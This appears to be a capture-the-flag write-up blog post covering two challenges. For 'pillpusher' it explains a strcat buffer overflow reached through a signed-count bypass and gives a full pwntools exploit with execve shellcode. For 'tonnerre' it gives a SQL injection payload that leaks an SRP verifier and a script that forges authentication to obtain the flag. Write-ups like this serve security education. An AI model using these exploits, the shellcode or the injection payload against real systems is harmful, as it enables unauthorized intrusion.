칼리에서는 잘 돌아가지 않으니 우분투에서 돌리도록 하자.


똑같은 펌웨어도 fmk가 칼리에선 분석을 못 하고 우분투에선 잘 함..

pillpusher

It is a huge binary and static so hard to reverse. Inside sub_407027, it calls sub_408da4 which is thought to be strcat(). Its 2nd argument is pill's name so if we put lots of characters when adding pill, its 1st argument which is a buffer from sub_4076e2 will be overflowed. buffer is at EBP-0x210 so we need at least 536 Bytes to control RIP. Pill's name is at most 256 Bytes so we need to trigger strcat() at least 3 times. It asks for how many pills to add and if the number exceeds 2, count is fixed to 2. However, the signed comparison is performed so any negative number will pass the check.



Plus, adding a pill with 256 Byte name and listing the pill will leak the address near structures, and luckily that region is both writable and executable so add another pill with its name containing shellcode.

Here's full exploit: (sorry for its untidiness)


from pwn import *
import sys
from time import sleep

context.log_level = 'debug'

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

p = remote("pillpusher_a3b929dac1a7ca27fe5474bae0432262.quals.shallweplayaga.me",43868)
p.recvuntil("-> ")
p.sendline("2")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("A"*256)
p.recvuntil("Schedule: ")
p.sendline("")
p.recvuntil(": ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("3")
sleep(0.5)
data = p.recvuntil("-> ")
addr = u64(data[0x106:0x106+6]+"\x00\x00")
addr += 456+64+200

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("\x90"*200+shellcode)
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("B"*244+"\x00")
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
pillname = "\x02"*(36)+ p64(addr)

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline(pillname)
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")

p.sendline("6")
p.recvuntil("-> ")

p.sendline("3")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("p1")
p.recvuntil(": ")
p.sendline("2147483647")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("4")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("pat1")
p.recvuntil(": ")
p.sendline("Y")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("1")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil("? ")
p.sendline("P1")
p.recvuntil("Add pills. Blank line to quit.\n: ")
p.sendline(pillname)
sleep(0.5)
p.recvuntil(": ")
p.sendline("B"*244+"\x00")
sleep(0.5)
p.recvuntil(": ")
p.sendline("")
sleep(0.5)
p.recvuntil(": ")
p.sendline("p1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("5")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("P1")
p.recvuntil("-> ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil("-> ")
p.sendline("3")
p.recvuntil(": ")
p.sendline("pat1")
p.recvuntil("-> ")
p.sendline("4")
p.recvuntil(": ")
p.sendline("-1")
for i in range(2):
	p.recvuntil("Add pill: ")
	p.sendline("B"*244+"\x00")
p.recvuntil("Add pill: ")
p.sendline(pillname)
p.recvuntil("Add pill: ")
p.sendline("")
p.interactive()



public_server_ea2e768e20e89fb1aafbbc547cdb4636.py

We can leak the verifier by putting the following query in ID(Finding db name and table name must be preceded):

' union select verifier from users limit 1#

If \( c=g^2 \mod N \) then

\[ \begin{align} \mbox{session_secret} & =(g^2)^\mbox{random_server} \mod N \\ & =(g^\mbox{random_server})^2 \mod N \\ & =\mbox{public_server}^2 \mod N \end{align} \]

public_server can be easily computed by \( \mbox{residue} - \mbox{verifier} + N \). To find out which public_client makes \( c=\mbox{public_client} \times \mbox{verifier}=g^2 \mod N \), we need to compute \[ \mbox{public_client}=g^2 \times \mbox{verifier}^{-1} \mod N \].

from Crypto.Hash import SHA256
from socket import *

def mul_inv(a, n):
	if n == 1: return 1
	
	b0 = n
	x0, x1 = 0, 1
	
	while a > 1:
		q = a / n
		a, n = n, a%n
		x0, x1 = x1 - q * x0, x0
	if x1 < 0: x1 += b0
	return x1

N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L
g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L
verifier = 0xebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b0940b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d064084f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59
public_client = mul_inv(verifier,N)*g**2 % N

def H(P):
	h = SHA256.new()
	h.update(P)
	return h.hexdigest()

def tostr(A):
	return hex(A)[2:].strip('L')

s=socket(2,1)
s.connect(("tonnerre.pwning.xxx",8561))
print s.recv(1024)
s.send("get_flag\n")
s.send(hex(public_client).strip("0x").strip("L")+"\n")
print s.recv(1024)
residue = int(s.recv(1024), 16)
public_server = residue - verifier
while public_server < 0:
	public_server += N
session_secret = (public_server)**2 % N
session_key = H(tostr(session_secret))
s.send(H(tostr(residue) + session_key)+"\n")
print s.recv(1024)
print s.recv(1024)

FLAG: PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}

+ Recent posts